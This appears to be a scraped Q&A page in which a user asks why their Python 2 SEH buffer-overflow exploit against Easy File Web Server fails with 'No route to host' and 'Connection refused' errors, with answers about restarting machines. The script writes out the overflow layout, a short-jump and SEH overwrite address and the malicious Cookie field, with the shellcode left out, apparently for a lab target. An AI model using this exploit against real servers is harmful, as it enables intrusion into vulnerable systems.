简体   繁体   中英

How to avoid this socket.error: [Errno 113] No route to host?

I am trying to exploit a SEH Buffer Overflow on Easy File Webserver. However, I am getting the following error:

root@kali:~/Desktop# python default.py
[+]Sending the Exploit....
Traceback (most recent call last):
  File "default.py", line 42, in <module>
    s.connect((host, port))
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 113] No route to host

This is my code:

import sys, socket, struct

shellcode ("Ignore the shellcode.")
host = '192.168.40.156'
port = 8080
evil = "\x90" * 4 + shellcode
buffer = "A" * 4059 + "\xEB\x06\x90\x90" + "\x34\x03\x01\x10" + evil + "D" * 578
httpreq = (
"GET /changeuser.ghp HTTP/1.1\r\n"
"User-Agent: Mozilla/4.0\r\n"
"Host:" + host + ":" + str(port) + "\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: en-us\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Referer: http://" + host + "/\r\n"
"Cookie: SESSIONID=6771; UserID=" + buffer + "; PassWD=;\r\n"
"Conection: Keep-Alive\r\n\r\n"
)


print "[+]Sending the Exploit...."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(httpreq)
s.close()

print "Done!"

How can I solve this error?

  • Both machines can ping each other.
  • The firewall of the victim machine is off.

EDIT: Restarted my computer and starting to run the script. I am now getting the following error:

[+]Sending the Exploit....
Traceback (most recent call last):
  File "default.py", line 42, in <module>
    s.connect((host, port))
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 111] Connection refused

To Solve Error socket.error: [Errno 113] No route to host?

I restarted my PC (Attacker's machine)

To solve [Errno 111] Connection refused

I restarted my network adapter (the victim machine suddenly couldn't ping back to the attacker machine after attacker's machine was restarted)

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM